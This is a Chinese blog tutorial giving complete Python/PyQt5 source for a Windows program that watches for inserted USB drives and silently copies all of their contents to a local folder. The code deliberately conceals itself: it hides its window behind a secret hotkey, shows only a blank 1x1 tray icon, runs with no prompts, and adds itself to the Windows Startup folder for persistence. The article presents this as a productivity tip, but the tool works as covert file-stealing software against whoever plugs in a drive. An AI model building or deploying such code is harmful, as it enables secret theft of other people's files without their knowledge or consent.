使用Python实现U盘数据自动拷贝!

使用Python实现U盘数据自动拷贝!

 作者:mosquito_lover1
这篇文章主要为大家详细介绍了如何使用Python实现U盘数据自动拷贝,即当电脑上有U盘插入时自动复制U盘内的所有内容,希望对大家有所帮助。

功能

当电脑上有U盘插入时,自动复制U盘内的所有内容

主要特点

1、使用PyQt5创建图形界面,但默认隐藏

2、通过Ctrl+Alt+U组合键可以显示/隐藏界面

3、自动添加到Windows启动项

4、监控USB设备插入

5、按修改时间排序复制文件

6、静默运行,无提示

7、自动跳过无法复制的文件

8、配置文件保存目标路径

使用说明

1、首次运行时,按Ctrl+Alt+U显示界面

2、点击"选择目标文件夹"按钮设置保存位置

3、设置完成后可以关闭界面,程序会在后台运行

4、插入U盘后会自动复制内容到指定文件夹

 静默界面

202502051007007

实现代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
import os
import sys
import time
import json
import shutil
import ctypes
from ctypes import wintypes
import win32file
import win32api
import win32con
import win32gui
import win32com.client
import pythoncom
import win32event
import winerror
from datetime import datetime
from threading import Thread
from PyQt5.QtWidgets import (QApplication, QMainWindow, QWidget, QVBoxLayout,
QPushButton, QFileDialog, QLabel, QSystemTrayIcon)
from PyQt5.QtCore import Qt, QTimer, QEvent
from PyQt5.QtGui import QIcon, QPixmap
class USBCopyTool(QMainWindow):
def __init__(self):
super().__init__()
self.config_file = 'config.json'
self.target_path = self.load_config()
self.init_ui()
self.setup_system_tray()
self.setup_hotkey()
# 添加窗口事件过滤器
self.installEventFilter(self)
# 启动USB监控线程
self.monitor_thread = Thread(target=self.monitor_usb, daemon=True)
self.monitor_thread.start()
def init_ui(self):
self.setWindowTitle('USB自动复制工具')
self.setGeometry(300, 300, 400, 200)
central_widget = QWidget()
self.setCentralWidget(central_widget)
layout = QVBoxLayout()
self.path_label = QLabel(f'当前目标路径: {self.target_path}')
layout.addWidget(self.path_label)
select_btn = QPushButton('选择目标文件夹')
select_btn.clicked.connect(self.select_target_path)
layout.addWidget(select_btn)
central_widget.setLayout(layout)
self.hide()
def setup_system_tray(self):
self.tray_icon = QSystemTrayIcon(self)
# 创建一个1x1的空白图标而不是完全没有图标
blank_icon = QIcon()
blank_icon.addPixmap(QPixmap(1, 1))
self.tray_icon.setIcon(blank_icon)
self.tray_icon.show()
def setup_hotkey(self):
# 注册全局热键 (Ctrl+Alt+U)
self.hot_key_id = 1
try:
win32gui.RegisterHotKey(self.winId(), self.hot_key_id,
win32con.MOD_CONTROL | win32con.MOD_ALT,
ord('U'))
except Exception as e:
print(f"热键注册失败: {e}")
def nativeEvent(self, eventType, message):
try:
if eventType == "windows_generic_MSG":
msg = wintypes.MSG.from_address(message.__int__())
if msg.message == win32con.WM_HOTKEY:
if self.isVisible():
self.hide()
else:
self.show()
return True, 0
except Exception as e:
print(f"事件处理错误: {e}")
return False, 0
def load_config(self):
try:
with open(self.config_file, 'r') as f:
config = json.load(f)
return config.get('target_path', '')
except:
return ''
def save_config(self):
with open(self.config_file, 'w') as f:
json.dump({'target_path': self.target_path}, f)
def select_target_path(self):
path = QFileDialog.getExistingDirectory(self, '选择目标文件夹')
if path:
self.target_path = path
self.path_label.setText(f'当前目标路径: {self.target_path}')
self.save_config()
def monitor_usb(self):
drives_before = set(win32api.GetLogicalDriveStrings().split('\000')[:-1])
print(f"初始驱动器: {drives_before}")
while True:
try:
drives_now = set(win32api.GetLogicalDriveStrings().split('\000')[:-1])
new_drives = drives_now - drives_before
if new_drives:
print(f"检测到新驱动器: {new_drives}")
for drive in new_drives:
drive_type = win32file.GetDriveType(drive)
print(f"驱动器 {drive} 类型: {drive_type}")
if drive_type == win32con.DRIVE_REMOVABLE:
print(f"开始复制U盘 {drive} 内容")
self.copy_usb_contents(drive)
drives_before = drives_now
time.sleep(1)
except Exception as e:
print(f"监控错误: {e}")
time.sleep(1)
def copy_usb_contents(self, drive):
if not self.target_path:
print("未设置目标路径")
return
# 获取U盘卷标名称
try:
volume_name = win32api.GetVolumeInformation(drive)[0]
# 如果U盘没有卷标名称,则使用盘符
if not volume_name:
volume_name = os.path.splitdrive(drive)[0].rstrip(':\\')
# 替换非法字符
volume_name = ''.join(c for c in volume_name if c not in r'\/:*?"<>|')
except Exception as e:
print(f"获取卷标名称失败: {e}")
volume_name = os.path.splitdrive(drive)[0].rstrip(':\\')
target_folder = os.path.join(self.target_path, volume_name)
print(f"复制到目标文件夹: {target_folder}")
if not os.path.exists(target_folder):
os.makedirs(target_folder)
# 获取所有文件并按修改时间排序
all_files = []
try:
for root, dirs, files in os.walk(drive):
print(f"扫描目录: {root}")
for file in files:
file_path = os.path.join(root, file)
try:
mtime = os.path.getmtime(file_path)
all_files.append((file_path, mtime))
except Exception as e:
print(f"无法获取文件信息: {file_path}, 错误: {e}")
continue
except Exception as e:
print(f"扫描目录失败: {e}")
all_files.sort(key=lambda x: x[1], reverse=True)
print(f"找到 {len(all_files)} 个文件")
# 复制文件
for file_path, _ in all_files:
try:
rel_path = os.path.relpath(file_path, drive)
target_path = os.path.join(target_folder, rel_path)
target_dir = os.path.dirname(target_path)
if not os.path.exists(target_dir):
os.makedirs(target_dir)
print(f"复制文件: {file_path} -> {target_path}")
shutil.copy2(file_path, target_path)
except Exception as e:
print(f"复制失败: {file_path}, 错误: {e}")
continue
def eventFilter(self, obj, event):
if obj is self and event.type() == QEvent.WindowStateChange:
if self.windowState() & Qt.WindowMinimized:
# 延迟执行隐藏操作,避免界面闪烁
QTimer.singleShot(0, self.hide)
# 恢复窗口状态,这样下次显示时是正常状态
self.setWindowState(Qt.WindowNoState)
return True
return super().eventFilter(obj, event)
def add_to_startup():
try:
startup_path = os.path.join(os.getenv('APPDATA'),
r'Microsoft\Windows\Start Menu\Programs\Startup')
script_path = os.path.abspath(sys.argv[0])
shortcut_path = os.path.join(startup_path, 'USBCopyTool.lnk')
shell = win32com.client.Dispatch("WScript.Shell")
shortcut = shell.CreateShortCut(shortcut_path)
shortcut.Targetpath = script_path
shortcut.WorkingDirectory = os.path.dirname(script_path)
shortcut.save()
except Exception as e:
print(f"添加到启动项失败: {e}")
if __name__ == '__main__':
# 确保只运行一个实例
mutex = win32event.CreateMutex(None, 1, 'USBCopyTool_Mutex')
if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
mutex = None
sys.exit(0)
add_to_startup()
app = QApplication(sys.argv)
tool = USBCopyTool()
sys.exit(app.exec_())

以上就是使用Python实现U盘数据自动拷贝的详细内容。

 

 

学习资料见知识星球。

以上就是今天要分享的技巧,你学会了吗?若有什么问题,欢迎在下方留言。

快来试试吧,小琥 my21ke007。获取 1000个免费 Excel模板福利​​​​!

更多技巧, www.excelbook.cn

欢迎 加入 零售创新 知识星球,知识星球主要以数据分析、报告分享、数据工具讨论为主;

Excelbook.cn Excel技巧 SQL技巧 Python 学习!

你将获得:

1、价值上万元的专业的PPT报告模板。

2、专业案例分析和解读笔记。

3、实用的Excel、Word、PPT技巧。

4、VIP讨论群,共享资源。

5、优惠的会员商品。

6、一次付费只需129元,即可下载本站文章涉及的文件和软件。

文章版权声明 1、本网站名称:Excelbook
2、本站永久网址:http://www.excelbook.cn
3、本网站的文章部分内容可能来源于网络,仅供大家学习与参考,如有侵权,请联系站长王小琥进行删除处理。
4、本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
5、本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报。
6、本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。

THE END
分享
二维码
< <上一篇
下一篇>>